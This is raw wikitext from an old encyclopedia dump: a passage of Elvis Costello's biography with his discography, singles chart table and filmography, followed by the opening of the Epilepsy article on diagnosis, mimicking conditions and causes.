Following the commercial disappointment of ''Trust'', Costello took a break from songwriting and the band decamped to [[Nashville]] to record ''[[Almost Blue]]'', an album of [[country music]] [[cover song]]s written by the likes of [[Hank Williams]] (&quot;Why Don't You Love Me (Like You Used To Do?)&quot;), [[Merle Haggard]] (&quot;Tonight The Bottle Let Me Down&quot;) and [[Gram Parsons]] (&quot;How Much I Lied&quot;). It was not a country-rock album (a la [[The Byrds]] or [[Eagles]]), which might have been more palatable to his established audience and to reviewers, but rather an undiluted country album. It received mixed reviews, some of which accused Costello of growing soft. Perhaps in anticipation of the inevitable accusations of apostasy, the first pressings of the record in the UK bore a sticker with the message:

:&quot;WARNING: This album contains country &amp; western music and may cause offence to narrow minded listeners&quot;.

''Almost Blue'' did spawn a surprise UK hit single in a version of [[Jerry Chesnut]]'s &quot;Good Year For The Roses.&quot;  

''[[Imperial Bedroom]]'' (1982) marked a much darker, almost [[baroque]] sound for Costello, due in large part to the production of [[Geoff Emerick]], famed for engineering several [[The Beatles|Beatles]] records. Featuring a superior set of songs - both musically and lyrically - it remains one of his most critically acclaimed records but again failed to produce any hit singles. Costello has said he disliked the marketing pitch for the album, weak ads consisting only of the phrase &quot;Masterpiece?&quot;. ''Imperial Bedroom'' also featured Costello's song &quot;Almost Blue&quot;; jazz singer and trumpeter [[Chet Baker]] would later perform and record a beautifully morose version of this song.

1983 saw another sidetrack with the pop-soul of ''[[Punch the Clock]]'', featuring female backing vocals ([[Afrodiziak]]) and a four piece [[horn section]] ([[The TKO Horns]]), alongside The Attractions. Clive Langer (who co-produced with Alan Winstanley), provided Costello with a melody which eventually became &quot;Shipbuilding,&quot; an oblique and articulate look at the political contradictions of the [[Falklands War]]: The controversial military build-up provided jobs for Britain's struggling shipyards. The song featured a striking solo by [[Chet Baker]]. (Prior to the release of Costello's own version, an affecting, emotive version of the song was a minor UK hit for former [[Soft Machine]] drummer and political activist [[Robert Wyatt]]).  Equally political was &quot;Pills And Soap&quot; -- a UK hit for Costello himself under the pseudonym of &quot;The Imposter&quot; -- an attack on the changes in British society brought on by [[Margaret Thatcher|Thatcherism]], released to coincide with the run-up to the [[United Kingdom general election, 1983|1983 UK general election]]. The electorate were seemingly not swayed.) ''Punch the Clock'' also generated an international hit in the single &quot;Everyday I Write the Book,&quot; aided by a prophetic music video featuring lookalikes of the [[Charles, Prince of Wales|Prince]] and [[Diana, Princess of Wales|Princess of Wales]] undergoing domestic strife in a suburban home.

Tensions within the band were beginning to tell, and with Costello starting to feel burnt out he announced his retirement and the disbandment of the group shortly before they were to record ''Goodbye Cruel World'' (1984). Costello would later say of this record that they had &quot;got it as wrong as you can in terms of the execution&quot;.  With a number of poor songs (and even the better songs harmed by murky production), the record was poorly received upon its initial release, and even many ardent Costello fans see ''Goodbye'' as his weakest album. Despite the record's poor reputation, a few songs were well-regarded, such as &quot;The Comedians&quot; (later recorded, with rewritten lyrics, by [[Roy Orbison]], and also quoted, in its original version, in [[Alan Moore|Alan Moore's]] seminal comic series [[Watchmen]]). On the album's second single, ''The Only Flame in Town'', [[Daryl Hall]] of [[Hall and Oates]] shared lead vocals. 

Costello's retirement, although short-lived, was accompanied by two compilations, ''Elvis Costello: The Man'' in the UK, Europe and Australia and ''The Best of Elvis Costello and the Attractions'' in the USA.

In 1985, Costello teamed up with good friend [[T-Bone Burnett]] for a single called &quot;The People's Limousine&quot; under the moniker of ''The Coward Brothers''. That year, Costello also produced ''Rum, Sodomy and the Lash'' for the punk/folk band [[the Pogues]]. It was then that he met his second wife, Pogues bassist [[Cait O'Riordan]].

By 1986, Costello was preparing to make a comeback. Working in the US with Burnett, a band containing a number of [[Elvis Presley]]'s sidemen (including [[James Burton]] and [[Jerry Scheff]]), and minor input from the Attractions, he produced ''King Of America,'' an acoustic-guitar-driven album with a country sound, augmented by some of his best songs for some time. Around this time he legally changed his name back to Declan MacManus, adding Aloysius as an extra middle name.

The Attractions felt understandably insecure about their dispensability upon perceiving that their boss had cut a new album largely without them, and was planning to undertake a major tour showcasing the ''King Of America'' material with his new musical partners. To allay their fears, Costello retooled his upcoming tour to allow for multiple nights in each city; playing one night with The Confederates (James Burton et al.), one night with The Attractions, and one night solo acoustic. In New York City he played five nights in a row! This arrangement put a strain on fans' stamina and wallets, as many wanted to see as many of the permutations available in their area as possible, not just one.
&lt;!--No Source Information: [[Image:Costello with McCartney.jpg|thumb|180px|left|Elvis Costello with [[Paul McCartney]]]]--&gt;
Later that year, he returned to the studio with the Attractions and recorded ''[[Blood and Chocolate]]'', which was lauded for a post-punk fervor not heard since 1978's ''[[This Year's Model]]''. It also marked the return of producer [[Nick Lowe]], who had produced Costello's first five albums. While ''[[Blood and Chocolate]]'' failed to chart a hit single of any significance, it did produce what has since become one of Costello's signature concert songs — &quot;I Want You&quot;. It is on this album that Costello adopted the alias &quot;[[Napoleon Dynamite]]&quot;, the name he later attributed to the character of the obnoxious [[emcee]] that he played during the [[vaudeville]]-style tour to support ''Blood and Chocolate''. (The pseudonym had previously been used in 1982, when the B-side single &quot;Imperial Bedroom&quot; was credited to &quot;Napoleon Dynamite &amp; The Royal Guard&quot;.)

In 1987, Costello, with a new contract with [[Warner Bros.]], began a long-running songwriting collaboration with [[Paul McCartney]]. They wrote a number of songs together, including Costello's &quot;Veronica&quot; and &quot;Pads, Paws and Claws&quot;  from ''[[Spike]]'' (1989) and &quot;So Like Candy&quot; and &quot;Playboy to a Man&quot; from ''Mighty Like A Rose'' (1991) and McCartney's &quot;My Brave Face&quot;, &quot;Don't Be Careless Love&quot;, &quot;That Day Is Done&quot; and &quot;You Want Her Too&quot; from ''Flowers in the Dirt'' and &quot;The Lovers That Never Were&quot; and &quot;Mistress and Maid&quot; from ''Off The Ground''. In 1989, he appeared on the [[Home Box Office|HBO]] special ''[[Roy Orbison and Friends, A Black and White Night]]'', which featured his long-time idol [[Roy Orbison]], and was invited back to  ''[[Saturday Night Live]]'' for the first time since 1977.

===1990s===
[[Image:ecostello10.jpg|thumb|200px|left|Elvis Costello in the mid-1990s.]]
In 1991 Costello released the aforementioned ''Mighty Like A Rose'', during which time he infamously grew a long beard.

In 1993, Costello tested the waters of classical music with a critically acclaimed collaboration with the [[Brodsky Quartet]] on ''[[The Juliet Letters]]''. Costello would return to rock and roll the following year with a project that reunited him with The Attractions, ''Brutal Youth''. An album of cover songs recorded 5 years previously was released in 1995, ''Kojak Variety'', followed in 1996 by an album of songs he had originally written for other artists, ''All This Useless Beauty''. This was the final album of original material that he would create under his Warner Bros. contract. 

During the Spring of [[1996]], Costello played a series of intimate club dates, backed only by Nieve on the piano, in support of &quot;All This Useless Beauty&quot;. An ensuing summer and fall tour with the Attractions would prove to be the final death knell for the band. With relations between Elvis and bassist Bruce Thomas at a breaking point, Costello announced that the current tour would be the Attractions' last. The quartet performed their final U.S. show in [[Seattle, WA]] on [[September 1, 1996]] before wrapping up their tour in Japan.

To fulfill his contractual obligations to Warner Bros., Costello released a greatest hits album titled &quot;Extreme Honey&quot; in [[1997]]. It would yield one orginal track titled &quot;The Bridge I Burned&quot;, featuring Elvis's son Matt on bass.

In the intervening period, Costello also served as artistic chair for the 1995 [[Meltdown Festival]], which gave him the opportunity to leverage his increasingly eclectic musical interests. His involvement in the festival yielded a one-off live EP with jazz guitarist [[Bill Frisell]], which featured both cover material and a few of his own songs.

He collaborated with [[Burt Bacharach]] in 1996 on a song called &quot;God Give Me Strength&quot; for the movie ''Grace of My Heart''. That collaboration led the pair to write and record an album together, ''Painted From Memory'', released in 1998 under his new contract with [[Mercury Records]].

In 1999, Costello contributed a cover version of the [[1974 in music|1974]] song &quot;[[She (Charles Aznavour)|She]]&quot;, originally by [[Charles Aznavour]] and [[Herbert Kretzmer]], for the soundtrack of the film [[Notting Hill (film)|Notting Hill]], with [[Trevor Jones (composer)|Trevor Jones]] producing. Costello's version gained massive radio play and quickly became a fan favorite, still being constantly played live to this day.

For the 25th anniversary of ''Saturday Night Live'', Costello was invited to the program, where he re-enacted his abrupt song-switch: This time, however, he interrupted the [[Beastie Boys]]' &quot;Sabotage&quot;, and they acted as his backing group for &quot;Radio, Radio&quot;.
&lt;div style=&quot;clear: both&quot;&gt;&lt;/div&gt;

===2000 to present===
In 2001, Costello was announced as the featured &quot;artist in residence&quot; at [[UCLA]] (although he ended up making fewer appearances than expected) and wrote the music for a new ballet. He produced and appeared on an album of songs for [[opera]] [[singer]] [[Anne Sofie von Otter]], ''For The Stars''. 

In 2002 he released a new album, ''[[When I Was Cruel]]'', and toured with a new band, the Imposters (the Attractions with a different bass player, [[Davey Faragher]], formerly of [[Cracker (band)|Cracker]]). Costello split with second wife Cait O'Riordan toward the end of the year.

In March 2003, Elvis Costello &amp; The Attractions were inducted into the [[Rock and Roll Hall of Fame]]. In May, his engagement to [[Canada|Canadian]] [[jazz]] singer and [[pianist]] [[Diana Krall]] was announced. September saw the release of ''[[North (Costello)|North]]'', an album of piano-based ballads concerning the breakdown of his former marriage, and his falling in love with Krall. In December, Costello and Krall married at the London estate of [[Elton John]].  In 2004, the song &quot;Scarlet Tide&quot; (co-written by Costello and T-Bone Burnett and used in the film ''[[Cold Mountain]]'') was nominated for an [[Academy Award]]; he performed it at the awards ceremony with [[Alison Krauss]], who also sang the song on the official soundtrack.

In July 2004 Costello's first full-scale orchestral work, ''Il Sogno'', was performed in New York. The work, a ballet after [[William Shakespeare|Shakespeare]]'s ''[[A Midsummer Night's Dream]]'', was commissioned by Italian dance troupe Aterballeto, and received critical acclaim from the classical music critics, while being scorned by the popular music press. Whilst composing it, Costello deliberately avoided listening to the previous interpretations by [[Felix Mendelssohn|Mendelssohn]] and [[Benjamin Britten|Britten]] in order to ensure his own originality. A range of musical moods and styles are used to represent the different elements of the cast - satirical pomp for the courtiers, [[jazz]] for the faeries, and for [[Nick Bottom|Bottom]] a deliberately intrusive &quot;brass band&quot; motif. It was released on CD in September by [[Deutsche Grammophon]].

Costello released another album that same month: ''The Delivery Man'', a rock album recorded in [[Oxford, Mississippi]]. Mainly blues, country, and folk, ''The Delivery Man'' received early acclaim as one of Costello's best albums, and continues Elvis' personal quest to release an album on each of Universal's record labels.  

In July 2005, a CD recording of a collaboration with [[Marian McPartland]] on her show [[Piano Jazz]] was released. It featured Costello singing six jazz standards and two of his own songs, accompanied by Marian McPartland on piano.

In November 2005 Costello will start recording a new album with [[Allen Toussaint]] and producer [[Joe Henry]] due for release in 2006. Also to be released this year is a live recording of a concert with the Metropole Orchestra at the [[North Sea Jazz Festival]], entitled ''My Flame Burns Blue''.

Three of his songs also appeared on the soundtrack to [[Simon Schama's A History of Britain]].

Elvis Costello has a global music publishing deal with [[BMG Music Publishing]] for his back catalogue and current/future works.

==Discography==
===Albums===
# 1977 - ''[[My Aim Is True]]'' (UK #14, US #32)
# 1978 - ''[[This Year's Model]]'' (UK #4, US #30)
# 1979 - ''[[Armed Forces]]'' (UK #2, US #10)
# 1980 - ''[[Get Happy!!]]'' (UK #2, US #11)
# 1981 - ''[[Trust (album)|Trust]]'' (UK #9, US #28)
# 1981 - ''[[Almost Blue]]'' (UK #7, US #50)
# 1982 - ''[[Imperial Bedroom]]'' (UK #6, US #30)
# 1983 - ''[[Punch the Clock]]'' (UK #3, US #24)
# 1984 - ''[[Goodbye Cruel World (album)|Goodbye Cruel World]]'' (UK #10, US #35)
# 1986 - ''[[King of America]]'' (UK #11, US #39)
# 1986 - ''[[Blood and Chocolate (album)|Blood and Chocolate]]'' (UK #16, US #84)
# 1989 - ''[[Spike (Elvis Costello album)|Spike]]'' (UK #5, US #32)
# 1991 - ''[[Mighty Like a Rose]]'' (UK #5, US #55)
# 1993 - ''The Juliet Letters'' (UK #18)
# 1994 - ''Brutal Youth'' (UK #2, US #34)
# 1995 - ''Kojak Variety'' (UK #21)
# 1996 - ''All This Useless Beauty'' (UK #28, US #53)
# 1996 - ''Costello &amp; Nieve'' 
# 1998 - ''[[Painted From Memory]]'', with [[Burt Bacharach]] (UK #32, US #78)
# 2002 - ''[[When I Was Cruel]]'' (US #20)
# 2002 - ''Cruel Smile''
# 2003 - ''[[North (Costello)|North]]'' (UK #44, US #57, US Traditional Jazz #1)
# 2004 - ''[[The Delivery Man]]''  (US #40)
# 2004 - ''Il Sogno'' (US Contemporary Classical #1 for 14 weeks)
# 2005 - ''Piano Jazz'' (with [[Marian McPartland]])
# 2006 - ''My Flame Burns Blue'' (live at the [[North Sea Jazz Festival]])

===Collections===
# 1980 - ''Taking Liberties''
# 1980 - ''Ten Bloody Marys &amp; Ten How's Your Fathers''
# 1987 - ''Out of Our Idiot''
# 1993 - ''2½ Years''
# 1997 - ''Extreme Honey''
# 1999 - ''The Very Best Of Elvis Costello (2-CD)'' (UK #4)  	
# 2003 - ''Singles, Volume 1''
# 2003 - ''Singles, Volume 2''
# 2003 - ''Singles, Volume 3''
This section is incomplete.

===Rhino reissues===
All Costello's studio albums up until 1996 (with the exception, as of this writing, of ''The Juliet Letters'') were reissued from 2001 to 2005 by [[Rhino Records]] (which constituted the second set of re-releases after Ryko (US) and Demon (UK) had done so from 1993 to 1995), under the guidance of Mr. Costello himself and featuring, in each case, a bonus disc of B-sides, outtakes, live tracks, alternate versions and/or demos of songs. The sound was remastered for each album and Costello wrote new liner notes about his thoughts on the music and anecdotes from the period when it was recorded.

The ''Almost Blue'' and ''Kojak Variety'' bonus discs were particularly notable as each contained, essentially, an entire new album's worth of material also performed but either not issued, or released as [[B-side]]s on singles originally. 

The ''Get Happy'' bonus disc was also of note, with 30 additional tracks, bringing the total for the 2-disc set to 50 songs.

===Tribute albums===
# 1998 - ''Bespoke Songs, Lost Dogs, Detours &amp; Rendezvous'' - (various artists)
# 2002 - ''Almost You: The Songs of Elvis Costello'' - (various artists)
# 2003 - ''The Elvis Costello Songbook'' - [[Bonnie Brett]]
# 2004 - ''A Tribute to Elvis Costello'' - [[Patrik Tanner]]

===Singles===
Elvis Costello has issued singles under several names, and with several different backing bands.  The key for the ''Artist Credit'' below is as follows: '''Elvis Costello''' (EC); '''Elvis Costello &amp; The Attactions''' (EC+ATT); '''Elvis Costello &amp; The Attactions with  the Royal Philharmonic Orchestra''' (EC+ATT+RSO); '''The Imposter''' (IMP); '''The Costello Show''' (TCS); '''The MacManus Gang''' (TMG), '''The Coward Brothers''' (TCB); '''[[Jimmy Cliff]] &amp; Elvis Costello &amp; The Attactions''' (JC+EC+ATT); '''Elvis Costello &amp; The Brodsky Quartet''' (EC+BQ); '''Elvis Costello and [[Burt Bacharach]]''' (EC+BB); '''Elvis Costello &amp; The Imposters''' (EC+IMP)

[[The Attractions]] played on almost all of Costello's singles from 1978 to 1984 (and sporadcially thereafter), but note that 1980's &quot;New Amsterdam&quot; was a solo single on which Elvis Costello played all instruments -- The Attractions were not credited.  Also, although the Attractions played on &quot;Sulky Girl&quot; and &quot;13 Steps Lead Down&quot;, these tracks were credited simply to Elvis Costello.  

{| class=&quot;wikitable&quot; style=&quot;margin:auto;&quot;
! width=&quot;28&quot; rowspan=&quot;2&quot;| Year
! width=&quot;220&quot; rowspan=&quot;2&quot;| Title
! width=&quot;28&quot; rowspan=&quot;2&quot;| Artist Credit
! colspan=&quot;3&quot;| Chart Positions
! width=&quot;150&quot; rowspan=&quot;2&quot;| Album
|-

! width=&quot;86&quot;| &lt;small&gt;[[UK Charts]]&lt;/small&gt;
! width=&quot;86&quot;| &lt;small&gt;[[Billboard Hot 100|US Charts]]&lt;/small&gt;
! width=&quot;86&quot;| &lt;small&gt;[[Modern Rock Tracks chart|US Modern Rock '''(MOD)''' / US Mainstream Rock '''(MAIN)''']]&lt;/small&gt;
|- 
| 1977
| &quot;Less Than Zero&quot; 
| EC
! -
! -
! -
| ''[[My Aim Is True]]''
|- 
| 1977
| &quot;Alison&quot; 
| EC
! -
! -
! -
| ''[[My Aim Is True]]''
|- 
| 1977
| &quot;(The Angels Wanna Wear My) Red Shoes&quot; 
| EC
! -
! -
! -
| ''[[My Aim Is True]]''
|- 
| 1977
| &quot;Watching The Detectives&quot; 
| EC
! #15
! #108
! -
| ''[[My Aim Is True]]'' (US version) 
|- 
| 1978
| &quot;(I Don't Want To Go To) Chelsea&quot; 
| EC+ATT
! #16
! -
! -
| ''[[This Year's Model]]'' (UK version)
|- 
| 1978
| &quot;Pump It Up&quot; 
| EC+ATT
! #24
! -
! -
| ''[[This Year's Model]]''
|- 
| 1978
| &quot;Radio Radio&quot; 
| EC+ATT
! #29
! -
! -
| ''[[This Year's Model]]'' (US version)
|-
| 1979
| &quot;Oliver's Army&quot; 
| EC+ATT
! #2
! -
! -
| ''[[Armed Forces]]''
|-
| 1979
| &quot;Accidents Will Happen&quot; 
| EC+ATT
! #28
! #101
! -
| ''[[Armed Forces]]''
|-
| 1980
| &quot;I Cant Stand Up For Falling Down&quot; 
| EC+ATT
! #4
! -
! -
| ''[[Get Happy!!]]''
|-
| 1980
| &quot;High Fidelity&quot; 
| EC+ATT
! #30
! -
! -
| ''[[Get Happy!!]]''
|-
| 1980
| &quot;New Amsterdam&quot; 
| EC
! #36
! -
! -
| ''[[Get Happy!!]]''
|-
| 1980
| &quot;Clubland&quot; 
| EC+ATT
! #60
! -
! -
| ''[[Trust (album)|Trust]]''
|-
| 1981
| &quot;From A Whisper To A Scream&quot; 
| EC+ATT
! -
! -
! #46 (MAIN)
| ''[[Trust (album)|Trust]]''
|-
| 1981
| &quot;Watch Your Step&quot; (US release only)
| EC+ATT
! -
! -
! -
| ''[[Trust (album)|Trust]]''
|-
| 1981
| &quot;A Good Year For The Roses&quot; 
| EC+ATT
! #6
! -
! -
| ''[[Almost Blue]]''
|-
| 1981
| &quot;Sweet Dreams&quot; 
| EC+ATT
! #42
! -
! -
| ''[[Almost Blue]]''
|-
| 1982
| &quot;I'm Your Toy&quot; 
| EC+ATT+RSO 
! #51
! -
! -
| ''[[Almost Blue]] reissue''
|-
| 1982
| &quot;You Little Fool&quot; 
| EC+ATT
! #52
! -
! -
| ''[[Imperial Bedroom]]''
|-
| 1982
| &quot;Man Out Of Time&quot; 
| EC+ATT
! #58
! -
! -
| ''[[Imperial Bedroom]]''
|-
| 1982
| &quot;From Head To Toe&quot; 
| EC+ATT
! #43
! -
! -
| ''[[Imperial Bedroom]] reissue''
|-
| 1982
| &quot;Party Party&quot; 
| EC+ATT
! #48
! -
! -
| ''Party Party soundtrack''
|-
| 1983
| &quot;Pills and Soap&quot; 
| IMP
! #16
! -
! -
| ''[[Punch the Clock]]''
|-
| 1983
| &quot;Everyday I Write the Book&quot; 
| EC+ATT
! #28
! #36
! #33 (MAIN)
| ''[[Punch the Clock]]''
|-
| 1983
| &quot;Let Them All Talk&quot; 
| EC+ATT
! #59
! -
! -
| ''[[Punch the Clock]]''
|- 
| 1984
| &quot;Peace In Our Time&quot; 
| IMP
! #48
! -
! -
| ''[[Goodbye Cruel World]]''
|-
| 1984
| &quot;I Wanna Be Loved&quot; / &quot;Turning The Town Red&quot;
| EC+ATT
! #25
! -
! -
| ''[[Goodbye Cruel World]]''
|-
| 1984
| &quot;The Only Flame In Town&quot; 
| EC+ATT
! #71
! #56
! #44 (MAIN)
| ''[[Goodbye Cruel World]]''
|-
| 1985
| &quot;Green Shirt&quot; 
| EC+ATT
! #68
! -
! -
| ''[[Armed Forces]]''
|-
| 1985
| &quot;The People's Limousine&quot; 
| TCB
! -
! -
! -
| ''[[King Of America]] reissue''
|-
| 1986
| &quot;Don't Let Me Be Misunderstood&quot; 
| TCS
! #33
! -
! #38 (MAIN)
| ''[[King Of America]]''
|-
| 1986
| &quot;Seven Day Weekend&quot; 
| JC+EC+ATT
! -
! -
! -
| ''[[Blood and Chocolate]] reissue''
|-
| 1986
| &quot;Lovable&quot; (US release only)
| TCS
! -
! -
! -
| ''[[King Of America]]''
|-
| 1986
| &quot;Tokyo Storm Warning&quot; 
| EC+ATT
! #73
! -
! -
| ''[[Blood and Chocolate]]''
|-
| 1986
| &quot;I Want You&quot; 
| EC+ATT
! -
! -
! -
| ''[[Blood and Chocolate]]''
|-
| 1987
| &quot;Blue Chair&quot; 
| EC
! -
! -
! -
| ''[[Blood and Chocolate]] reissue''
|-
| 1987
| &quot;A Town Called Big Nothing&quot; 
| TMG
! -
! -
! -
| ''[[Blood and Chocolate]] reissue''
|- 
| 1989
| &quot;Veronica&quot;
| EC
! #31
! #19
! #1 (MOD) / #10 (MAIN) 
| ''[[Spike]]''
|- 
| 1989
| &quot;Baby Plays Around&quot;
| EC
! #65
! -
! -
| ''[[Spike]]''
|- 
| 1989
| &quot;...This Town...&quot;
| EC
! -
! -
! #4 (MOD) / #41 (MAIN)
| ''[[Spike]]''
|- 
| 1991
| &quot;The Other Side of Summer&quot;
| EC
! #43
! -
! #1 (MOD) / #40 (MAIN)
| ''[[Mighty Like a Rose]]''
|- 
| 1991
| &quot;So Like Candy&quot;
| EC
! -
! -
! -
| ''[[Mighty Like a Rose]]''
|- 
| 1993
| &quot;Jacksons, Monk &amp; Rowe&quot;
| EC+BQ
! -
! -
! -
| ''[[The Juliet Letters]]''
|-
| 1994
| &quot;Sulky Girl&quot;
| EC
! #22
! -
! -
| ''Brutal Youth''
|-
| 1994
| &quot;13 Steps Lead Down&quot;
| EC
! #59
! #115
! #6 (MOD)
| ''Brutal Youth''
|-
| 1994
| &quot;You Tripped At Every Step&quot;
| EC+ATT
! #83
! -
! -
| ''Brutal Youth''
|-
| 1994
| &quot;London's Brilliant Parade&quot;
| EC+ATT
! #48
! -
! -
| ''Brutal Youth''
|-
| 1996
| &quot;It's Time&quot;
| EC+ATT
! #58
! -
! -
| ''All This Useless Beauty''
|-
| 1996
| &quot;Little Atoms&quot;
| EC+ATT
! #95
! -
! -
| ''All This Useless Beauty''
|-
| 1996
| &quot;The Other End Of The Telescope&quot;
| EC+ATT
! #96
! -
! -
| ''All This Useless Beauty''
|-
| 1996
| &quot;Distorted Angel&quot;
| EC+ATT
! -
! -
! -
| ''All This Useless Beauty''
|-
| 1996
| &quot;All This Useless Beauty&quot;
| EC+ATT
! #96
! -
! -
| ''All This Useless Beauty''
|-
| 1996
| &quot;You Bowed Down&quot; (US release only)
| EC+ATT
! -
! -
! -
| ''All This Useless Beauty''
|-
| 1999
| &quot;Toledo&quot;
| EC+BB
! #72
! -
! -
| ''Painted From Memory''
|-
| 1999
| &quot;She&quot;
| EC
! #19
! -
! -
| ''[[Notting Hill (film)|Notting Hill]] soundtrack''
|-
| 2002
| &quot;Tear Off Your Own Head (It's A Doll Revolution)&quot;
| EC
! #58
! -
! -
| ''When I Was Cruel''
|-
| 2002
| &quot;45&quot;
| EC
! #92
! -
! -
| ''When I Was Cruel''
|-
| 2003
| &quot;Smile&quot; (Japanese release only)
| EC
! -
! -
! -
| ''Cruel Smile''
|-
| 2004
| &quot;Monkey To Man&quot;
| EC+IMP
! -
! -
! -
| ''The Delivery Man''
|}

==Filmography==
*1979 film debut as 'Earl Manchester' in ''[[Americathon]]''
*1984 as 'Henry Scully' in UK TV series ''[[Scully (TV series)|Scully]]''
*1985 as inept magician 'Rosco de Ville' in  [[Alan Bleasdale]] film ''[[No Surrender]]''
*1987 as 'Hives the Butler' in  [[Alex Cox]] film ''[[Straight to Hell]]'', starring [[Joe Strummer]] and [[Courtney Love]]
*1996 as himself in ''[[The Larry Sanders Show]]''
*1997 as himself in ''[[Spice World]]''
*1999 as himself in ''[[Austin Powers: The Spy Who Shagged Me]]'', performing with [[Burt Bacharach]]
*1999 as himself in ''[[200 Cigarettes]]''
*2001 as a public defender and a teacher in ''[[Prison Song]]'', 
*2001 as himself in the final episode of ''[[3rd Rock from the Sun]]'', 
*2002 as himself in ''[[How I Spent My Strummer Vacation]]'', an episode of ''[[The Simpsons]]''
*2003 [[Academy_award|Academy Award]] nomination for [[Academy Award for Best Song|best original song]] ''The Scarlet Tide'' in ''[[Cold Mountain]]''.
*2003 as 'Ben' in the ''[[Frasier]]'' episode &quot;Farewell, Nervosa&quot;
*2003 as guest host on ''[[The Late Show with David Letterman]]''
*2004 performing the [[Cole Porter]] song &quot;Let's Misbehave&quot; in ''[[De-Lovely]]''

==Select bibliography==
* ''Elvis Costello:  A Singing Dictionary (ISBN 0-76-921505-X) - Sheet music, chords, and lyrics for works 1977-1980.

==External links==
* [http://www.elviscostello.com/ ElvisCostello.com]
*{{allmusicguide | id = B5x61mpb39fco | label = Elvis Costello}}
*{{imdb name|id=0004845|name=Elvis Costello}}
* [http://musicmoz.org/Bands_and_Artists/C/Costello,_Elvis/ MusicMoz entry]
* [http://www.elviscostello.info/ The Elvis Costello Home Page]
* [http://www.costellonews.com/ Elvis Costello News Blog]
* [http://www.elvis-costello.com/ The Trainspotters' Guide To Elvis Costello]
* [http://www.astheygo.com/elviscostello.htm Bright Blue Times: The Music of Elvis Costello]
* [http://home.cfl.rr.com/jdha/stuff/ecmcotw/ Elvis Costello Mystery Cover]
* [http://www.morethings.com/music/costello/ MoreThings] Elvis Costello Is King!
* [http://www.nickpipitone.com Elvis protege]


[[Category:1954 births|Costello, Elvis]]
[[Category:Living people|Costello, Elvis]]
[[Category:British male singers|Costello, Elvis]]
[[Category:British rock musicians|Costello, Elvis]]
[[Category:British songwriters|Costello, Elvis]]
[[Category:Guitarists|Costello, Elvis]]
[[Category:Keyboardists|Costello, Elvis]]
[[Category:Londoners|Costello, Elvis]]
[[Category:Music from London|Costello, Elvis]]
[[Category:New Wave groups|Costello, Elvis]]
[[Category:People known by pseudonyms|Costello, Elvis]]
[[Category:People of Irish descent in Great Britain|Costello, Elvis]]
[[Category:Rock and Roll Hall of Fame inductees|Costello, Elvis]]
[[Category:Singer-songwriters|Costello, Elvis]]
[[Category:Vocalists|Costello, Elvis]]

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      <comment>/* Legal implications */ Removed false text (no hard 6 month legal limit in CA *nor* TX law); removed stigmatizing POV language (victim)</comment>
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  Name        = Epilepsy |
  ICD10       = {{ICD10|G|40||g|40}}-{{ICD10|G|41||g|40}} |
  ICD9        = {{ICD9|345}} |
}}
{{dablink|[[Epilepsy in animals]] and [[List of people believed to have epilepsy]] cover topics complementary to this article, which deals with epilepsy in the general human population.}}

'''Epilepsy''' (often referred to as a '''seizure disorder''') is a [[chronic]] [[neurology|neurological]] condition characterized by recurrent unprovoked [[seizure]]s.  The condition is named from the Greek ''epilepsis'' (&quot;to take a firm grip on&quot;). It is commonly controlled with medication, although [[Surgery|surgical]] methods are used as well.

==Diagnosis==
The diagnosis of epilepsy requires the presence of recurrent, unprovoked seizures; accordingly, it is usually made based on the [[medical history]].  [[Electroencephalography|EEG]], brain [[MRI]], [[SPECT]], [[Positron emission tomography|PET]], and [[magnetoencephalography]] may be useful to discover an [[etiology]] for the epilepsy, discover the affected brain region, or classify the epileptic syndrome, but these studies are not useful in making the initial diagnosis.

[[Long-term video-EEG monitoring]] for epilepsy is the gold standard for diagnosis, but it is not routinely employed owing to its high cost and inconvenience.  It is, however, sometimes used to distinguish [[psychogenic non-epileptic seizures]] from epilepsy.

Convulsive or other seizure-like activity, non-epileptic in origin, can be observed in many other medical conditions, including:
*[[psychogenic non-epileptic seizures]] (often wrongly called &quot;pseudoseizures&quot;)
*[[tic]]s
*[[syncope]] (fainting)
*[[narcolepsy]]
*[[cataplexy]]
*[[parasomnia]]s
*[[breath-holding spells]] of childhood
*non-epileptic [[myoclonus]]
*[[hypoglycemia]] and associated [[neuroglycopenia]]
*[[opsoclonus]]
*[[hyperekplexia]]
*paroxysmal kinesiogenic dyskinesia
*infantile gratification / masturbation (onanism){{ref|infantile}}
*repetitive behaviors

[[Neurologist]]s are often called upon to distinguish among the above diagnoses and epilepsy.

Epilepsies are classified five ways:
# By their first cause (or [[etiology]]).
# By the observable manifestations of the seizures, known as &quot;semiology.&quot;
# By the location in the brain where the seizures originate.
# As a part of discrete, identifiable medical [[syndrome]]s.
# By the event that triggers the seizures, as in [[primary reading epilepsy]].

==Causes==
All the causes (or [[etiology|etiologies]]) of epilepsy are not known, but many predisposing factors have been identified, including brain damage resulting from malformations of brain development, [[head trauma]], neurosurgical operations, other penetrating wounds of the brain, [[brain tumor]], high [[fever]], bacterial or viral [[encephalitis]], [[stroke]], [[intoxication]], or acute or inborn disturbances of [[metabolism]].  [[Hereditary]] or [[genetics|genetic]] factors also play a role.

Seizures may occur in any person under certain circumstances, including acute illness and [[drug overdose]]s, but these provoked seizures are not part of the definition of epilepsy.  Epilepsy connotes that an individual has unprovoked seizures which recur over time.  In about 50% of all cases, there is no cause for epilepsy that is currently detectable even with state of the art investigations. In about 50% of cases, evidence of a brain injury, scar or malformation is found, to which the epilepsy is attributed.  In many, but not all cases, abnormal electrical activity can be detected in the brain with an [[electroencephalogram]] (EEG), either during or in between seizures.

The most common ages of [[incidence]] are under the age of 18 and over the age of 65. It has been estimated that about 1% of the population meets the diagnostic criteria for epilepsy at any given time, but some theorize that the [[prevalence]] may be much higher in fact.

A significant and measurable decline in [[cognitive]] function is known to be associated with epilepsy, although it has not been entirely clear to what extent this is due to the epilepsy itself or to the drugs used to treat it. [[Phenobarbital]], in particular, has been shown to decrease [[IQ]] and classroom performance when used to treat epilepsy in children; the effects persist after the phenobarbital is stopped.  Some newer anti-epileptic drugs are considered by some to have less severe cognitive effects than older drugs. On an individual level, a person's reaction to epileptic seizures and/or anti-epileptic drugs may be idiosyncratic, so it is difficult to predict how a particular person might be affected.

[[Mutation]]s in several [[gene]]s have been linked to some types of epilepsy. Several genes that code for [[protein]] subunits of [[voltage-gated ion channel|voltage-gated]] and [[ligand-gated ion channel|ligand-gated]] [[ion channel]]s have been associated with forms of generalized epilepsy and infantile seizure syndromes{{ref|genes}}. Several ligand-gated ion channels have been linked to some types of frontal and generalized epilepsies. Epilepsy-related mutations in some non-ion channel genes have also been identified.

